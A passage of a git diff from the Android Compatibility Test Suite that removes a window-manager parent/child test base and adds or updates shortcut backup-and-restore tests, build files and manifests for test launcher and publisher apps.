-                        explicitDimension,
-                        explicitDimension);
-                assertEquals(expectedFrame, dialog.getFrame());
-                });
-    }
-
-    public void testDialogPlacedAboveParent() throws Exception {
-        doParentChildTest("MatchParent",
-            (WindowState parent, WindowState dialog) -> {
-                // Not only should the dialog be higher, but it should be
-                // leave multiple layers of space inbetween for DimLayers,
-                // etc...
-                assertTrue(dialog.getLayer() - parent.getLayer() >= 5);
-        });
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
deleted file mode 100644
index c8ca9f4..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/ParentChildTestBase.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.server.cts.WindowManagerState.WindowState;
-import android.server.cts.ActivityManagerTestBase;
-
-public abstract class ParentChildTestBase extends ActivityManagerTestBase {
-    private static final String COMPONENT_NAME = "android.server.FrameTestApp";
-
-    interface ParentChildTest {
-        void doTest(WindowState parent, WindowState child);
-    }
-
-    public void startTestCase(String testCase) throws Exception {
-        setComponentName(COMPONENT_NAME);
-        String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
-        CLog.logAndDisplay(LogLevel.INFO, cmd);
-        executeShellCommand(cmd);
-    }
-
-    public void startTestCaseDocked(String testCase) throws Exception {
-        setComponentName(COMPONENT_NAME);
-        String cmd = getAmStartCmd(activityName(), intentKey(), testCase);
-        CLog.logAndDisplay(LogLevel.INFO, cmd);
-        executeShellCommand(cmd);
-        moveActivityToDockStack(activityName());
-    }
-
-    abstract String intentKey();
-    abstract String activityName();
-
-    abstract void doSingleTest(ParentChildTest t) throws Exception;
-
-    void doFullscreenTest(String testCase, ParentChildTest t) throws Exception {
-        CLog.logAndDisplay(LogLevel.INFO, "Running test fullscreen");
-        startTestCase(testCase);
-        doSingleTest(t);
-        stopTestCase();
-    }
-
-    void doDockedTest(String testCase, ParentChildTest t) throws Exception {
-        CLog.logAndDisplay(LogLevel.INFO, "Running test docked");
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
-            return;
-        }
-        startTestCaseDocked(testCase);
-        doSingleTest(t);
-        stopTestCase();
-    }
-
-    void doParentChildTest(String testCase, ParentChildTest t) throws Exception {
-        doFullscreenTest(testCase, t);
-        doDockedTest(testCase, t);
-    }
-}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
index b82bb1d..e76cf28 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/src/android/content/pm/cts/shortcut/backup/launcher1/ShortcutManagerPostBackupTest.java
@@ -17,6 +17,7 @@
 
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
 
+import android.content.pm.ShortcutInfo;
 import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
 
 public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
@@ -57,9 +58,22 @@
                 .selectByIds("ms1")
                 .areAllNotPinned();
 
+        // Package3 doesn't support backup&restore.
+        // However, the manifest-shortcuts will be republished anyway, so they're still pinned.
+        // The dynamic shortcuts can't be restored, but we'll still restore them as disabled
+        // shortcuts that are not visible to the publisher.
         assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER3_PKG))
-                .haveIds("ms1", "ms2")
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllPinned()
+
+                .selectByIds("ms1", "ms2")
                 .areAllEnabled()
-                .areAllNotPinned(); // P3 doesn't get backed up, so no longer pinned.
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_NOT_DISABLED)
+
+                .revertToOriginalList()
+                .selectByIds("s1", "s2")
+                .areAllDisabled()
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_BACKUP_NOT_SUPPORTED)
+                ;
     }
 }
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
index 75c79c5..115c476 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/src/android/content/pm/cts/shortcut/backup/launcher2/ShortcutManagerPostBackupTest.java
@@ -17,6 +17,7 @@
 
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
 
+import android.content.pm.ShortcutInfo;
 import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
 
 public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
@@ -51,8 +52,22 @@
                 .selectByIds("ms2")
                 .areAllNotPinned();
 
+        // Package3 doesn't support backup&restore.
+        // However, the manifest-shortcuts will be republished anyway, so they're still pinned.
+        // The dynamic shortcuts can't be restored, but we'll still restore them as disabled
+        // shortcuts that are not visible to the publisher.
         assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER3_PKG))
-                .haveIds("ms1", "ms2")
-                .areAllEnabled();
+                .haveIds("ms1", "ms2", "s2", "s3")
+                .areAllPinned()
+
+                .selectByIds("ms1", "ms2")
+                .areAllEnabled()
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_NOT_DISABLED)
+
+                .revertToOriginalList()
+                .selectByIds("s2", "s3")
+                .areAllDisabled()
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_BACKUP_NOT_SUPPORTED)
+        ;
     }
 }
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
new file mode 100644
index 0000000..856ff1f
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4new
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../launcher4old/src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
new file mode 100644
index 0000000..4d21e50
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4new/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.launcher4"
+    android:versionCode="11">
+
+    <application>
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.HOME" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
new file mode 100644
index 0000000..0147dd6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher4old
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
new file mode 100644
index 0000000..cded495
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.launcher4"
+    android:versionCode="10">
+
+    <application>
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.HOME" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.content.pm.action.CONFIRM_PIN_SHORTCUT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.launcher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java
new file mode 100644
index 0000000..33215d6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/MainActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import android.app.Activity;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+public class MainActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Just accept all requests.
+        if (LauncherApps.ACTION_CONFIRM_PIN_SHORTCUT.equals(getIntent().getAction())) {
+            LauncherApps.PinItemRequest request = getSystemService(LauncherApps.class)
+                    .getPinItemRequest(getIntent());
+            final PersistableBundle extras = request.getShortcutInfo().getExtras();
+            if (extras != null && extras.getBoolean("acceptit")) {
+                request.accept();
+            }
+        }
+        finish();
+    }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
new file mode 100644
index 0000000..f9ecfef
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPostBackupTest.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+
+public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        setAsDefaultLauncher(MainActivity.class);
+    }
+
+    public void testRestoredOnOldVersion() {
+        assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllPinned()
+
+                .selectByIds("ms1", "ms2")
+                .areAllEnabled()
+                .areAllManifest()
+
+                // s1 is re-published, so it's enabled and dynamic.
+                .revertToOriginalList()
+                .selectByIds("s1")
+                .areAllEnabled()
+                .areAllDynamic()
+                .forAllShortcuts(si -> {
+                    assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+                    // The app re-published the shortcut, not updated, so the fields that existed
+                    // in the original shortcut is gone now.
+                    assertNull(si.getExtras());
+                })
+
+                .revertToOriginalList()
+                .selectByIds("s2")
+                .areAllDisabled()
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_VERSION_LOWER)
+                .forAllShortcuts(si -> {
+                    // Note the label shouldn't be updated with the updateShortcuts() call.
+                    assertEquals("shortlabel2", si.getShortLabel());
+                })
+                .areAllNotDynamic();
+    }
+
+    public void testRestoredOnNewVersion() {
+        assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllPinned()
+
+                .selectByIds("ms1", "ms2")
+                .areAllEnabled()
+                .areAllManifest()
+
+                // s1 is re-published, so it's enabled and dynamic.
+                .revertToOriginalList()
+                .selectByIds("s1", "s2")
+                .areAllEnabled()
+
+                .revertToOriginalList()
+                .selectByIds("s1")
+                .areAllDynamic()
+                .forAllShortcuts(si -> {
+                    assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+                    // The app re-published the shortcut, not updated, so the fields that existed
+                    // in the original shortcut is gone now.
+                    assertNull(si.getExtras());
+                })
+
+                .revertToOriginalList()
+                .selectByIds("s2")
+                .areAllNotDynamic()
+                .forAllShortcuts(si -> {
+                    assertEquals("shortlabel2_updated", si.getShortLabel());
+                })
+                ;
+    }
+
+
+    public void testRestoreWrongKey() {
+        assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllPinned()
+
+                .selectByIds("ms1", "ms2")
+                .areAllEnabled()
+                .areAllManifest()
+
+                // s1 is re-published, so it's enabled and dynamic.
+                .revertToOriginalList()
+                .selectByIds("s1")
+                .areAllEnabled()
+                .areAllDynamic()
+                .forAllShortcuts(si -> {
+                    assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+                    // The app re-published the shortcut, not updated, so the fields that existed
+                    // in the original shortcut is gone now.
+                    assertNull(si.getExtras());
+                })
+
+
+                // updateShortcuts() shouldn't work on it, so it keeps the original label.
+                .revertToOriginalList()
+                .selectByIds("s2")
+                .areAllNotDynamic()
+                .forAllShortcuts(si -> {
+                    assertEquals("shortlabel2", si.getShortLabel());
+                })
+        ;
+    }
+
+    public void testRestoreNoManifestOnOldVersion() {
+        assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllPinned()
+
+                .selectByIds("s1", "ms1")
+                .areAllEnabled()
+                .areAllDynamic()
+                .areAllMutable()
+
+                .revertToOriginalList()
+                .selectByIds("s2", "ms2")
+                .areAllDisabled();
+    }
+
+    public void testRestoreNoManifestOnNewVersion() {
+        assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+                .haveIds("ms1", "ms2", "s1", "s2")
+                .areAllPinned()
+
+                .selectByIds("ms1", "ms2")
+                .areAllDisabled()
+                .areAllImmutable()
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_APP_CHANGED)
+
+                .revertToOriginalList()
+                .selectByIds("s1", "s2")
+                .areAllEnabled()
+                .areAllMutable();
+    }
+
+    public void testInvisibleIgnored() {
+        assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+                .haveIds("ms1", "ms2", "s1", "s2")
+
+                .selectByIds("ms1", "s1", "s2")
+                .areAllPinned()
+                .areAllDisabled()
+                .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_VERSION_LOWER)
+                .areAllNotDynamic()
+                .areAllNotManifest()
+
+                .revertToOriginalList()
+                .selectByIds("ms2")
+                .areAllEnabled()
+                .areAllPinned()
+                .areAllNotDynamic()
+                .areAllNotManifest();
+    }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
new file mode 100644
index 0000000..8d99255
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+@SmallTest
+public class ShortcutManagerPreBackupTest extends ShortcutManagerDeviceTestBase {
+    static final String PUBLISHER4_PKG =
+            "android.content.pm.cts.shortcut.backup.publisher4";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        setAsDefaultLauncher(MainActivity.class);
+    }
+
+    public void testPreBackup() {
+        // Pin all the shortcuts.
+        getLauncherApps().pinShortcuts(PUBLISHER4_PKG, list("s1", "s2", "ms1", "ms2"),
+                getUserHandle());
+    }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
index 870dab9..33c8f82 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
@@ -21,16 +21,17 @@
 
 public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
     public void testWithUninstall() {
+        // backup = false, so dynamic shouldn't be restored.
         assertWith(getManager().getDynamicShortcuts())
                 .isEmpty();
 
-        // backup = false, so no pinned shortcuts should be restored.
+        // But manifest shortcuts will be restored anyway, so they'll restored as pinned.
         assertWith(getManager().getPinnedShortcuts())
-                .isEmpty();
+                .haveIds("ms1", "ms2");
 
         assertWith(getManager().getManifestShortcuts())
                 .haveIds("ms1", "ms2")
-                .areAllNotPinned();
+                .areAllPinned();
     }
 
     public void testWithNoUninstall() {
@@ -39,8 +40,8 @@
                 .haveIds("s1", "s2", "s3")
                 .areAllNotPinned();
 
+        // Manifest shortcuts should still be published.
         assertWith(getManager().getManifestShortcuts())
-                .haveIds("ms1", "ms2")
-                .areAllNotPinned();
+                .haveIds("ms1", "ms2");
     }
 }
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
new file mode 100644
index 0000000..ace1afe
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
new file mode 100644
index 0000000..dae61ca
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.content.pm.cts.shortcut.backup.publisher4"
+    android:versionCode="11">
+
+    <application>
+        <activity android:name="MainActivity" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+            <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+        </activity>
+        <activity-alias android:name="MainActivity2"
+            android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+            android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity-alias>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
new file mode 100644
index 0000000..75a025b
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nobackup
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+    $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator \
+    ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
new file mode 100644
index 0000000..33e5121
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
